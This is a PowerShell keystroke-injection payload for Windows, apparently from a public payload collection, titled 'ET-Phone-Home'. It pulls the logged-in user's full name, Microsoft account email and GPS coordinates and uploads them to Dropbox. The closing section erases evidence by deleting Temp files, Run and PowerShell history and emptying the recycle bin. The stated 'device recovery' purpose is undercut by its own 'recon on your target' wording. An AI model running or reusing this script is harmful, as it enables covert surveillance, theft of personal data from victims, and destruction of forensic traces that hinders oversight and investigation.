152 lines
7.4 KiB
PowerShell
152 lines
7.4 KiB
PowerShell
|
|
||
|
|
############################################################################################################################################################
|
||
|
|
# | ___ _ _ _ # ,d88b.d88b #
|
||
|
|
# Title : ET-Phone-Home | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||
|
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||
|
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||
|
|
# Category : GENERAL | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||
|
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
||
|
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||
|
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||
|
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||
|
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||
|
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||
|
|
# # / \ / ~ \ #
|
||
|
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||
|
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||
|
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||
|
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||
|
|
############################################################################################################################################################
|
||
|
|
|
||
|
|
<#
|
||
|
|
.SYNOPSIS
|
||
|
|
This script is meant to recover your device or as an advanced recon tactic to get sensitive info on your target
|
||
|
|
|
||
|
|
.DESCRIPTION
|
||
|
|
This program is used to locate your stolen cable. Or perhaps locate your "stolen" cable if you left it as bait.
|
||
|
|
This script will get the Name and email associated with the targets microsoft account
|
||
|
|
Their geo-location will also be grabbed giving you the latitude and longitude of where your device was activated
|
||
|
|
#>
|
||
|
|
|
||
|
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_Device-Location.txt"
|
||
|
|
|
||
|
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
function Get-fullName {
|
||
|
|
|
||
|
|
try {
|
||
|
|
|
||
|
|
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
# If no name is detected function will return $env:UserName
|
||
|
|
|
||
|
|
# Write Error is just for troubleshooting
|
||
|
|
catch {Write-Error "No name was detected"
|
||
|
|
return $env:UserName
|
||
|
|
-ErrorAction SilentlyContinue
|
||
|
|
}
|
||
|
|
|
||
|
|
return $fullName
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
$FN = Get-fullName
|
||
|
|
|
||
|
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
function Get-email {
|
||
|
|
|
||
|
|
try {
|
||
|
|
|
||
|
|
$email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim()
|
||
|
|
return $email
|
||
|
|
}
|
||
|
|
|
||
|
|
# If no email is detected function will return backup message for sapi speak
|
||
|
|
|
||
|
|
# Write Error is just for troubleshooting
|
||
|
|
catch {Write-Error "An email was not found"
|
||
|
|
return "No Email Detected"
|
||
|
|
-ErrorAction SilentlyContinue
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
$EM = Get-email
|
||
|
|
|
||
|
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
function Get-GeoLocation{
|
||
|
|
try {
|
||
|
|
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||
|
|
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||
|
|
$GeoWatcher.Start() #Begin resolving current locaton
|
||
|
|
|
||
|
|
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||
|
|
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||
|
|
}
|
||
|
|
|
||
|
|
if ($GeoWatcher.Permission -eq 'Denied'){
|
||
|
|
Write-Error 'Access Denied for Location Information'
|
||
|
|
} else {
|
||
|
|
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||
|
|
}
|
||
|
|
}
|
||
|
|
# Write Error is just for troubleshooting
|
||
|
|
catch {Write-Error "No coordinates found"
|
||
|
|
return "No Coordinates found"
|
||
|
|
-ErrorAction SilentlyContinue
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
$GL = Get-GeoLocation
|
||
|
|
|
||
|
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
echo $FN >> $env:TMP\$FileName
|
||
|
|
echo $EM >> $env:TMP\$FileName
|
||
|
|
echo $GL >> $env:TMP\$FileName
|
||
|
|
|
||
|
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
# Upload output file to dropbox
|
||
|
|
|
||
|
|
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN"
|
||
|
|
$TargetFilePath="/$FileName"
|
||
|
|
$SourceFilePath="$env:TMP\$FileName"
|
||
|
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||
|
|
$authorization = "Bearer " + $DropBoxAccessToken
|
||
|
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||
|
|
$headers.Add("Authorization", $authorization)
|
||
|
|
$headers.Add("Dropbox-API-Arg", $arg)
|
||
|
|
$headers.Add("Content-Type", 'application/octet-stream')
|
||
|
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||
|
|
|
||
|
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
<#
|
||
|
|
|
||
|
|
.NOTES
|
||
|
|
This is to clean up behind you and remove any evidence to prove you were there
|
||
|
|
#>
|
||
|
|
|
||
|
|
# Delete contents of Temp folder
|
||
|
|
|
||
|
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||
|
|
|
||
|
|
# Delete run box history
|
||
|
|
|
||
|
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||
|
|
|
||
|
|
# Delete powershell history
|
||
|
|
|
||
|
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||
|
|
|
||
|
|
# Deletes contents of recycle bin
|
||
|
|
|
||
|
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|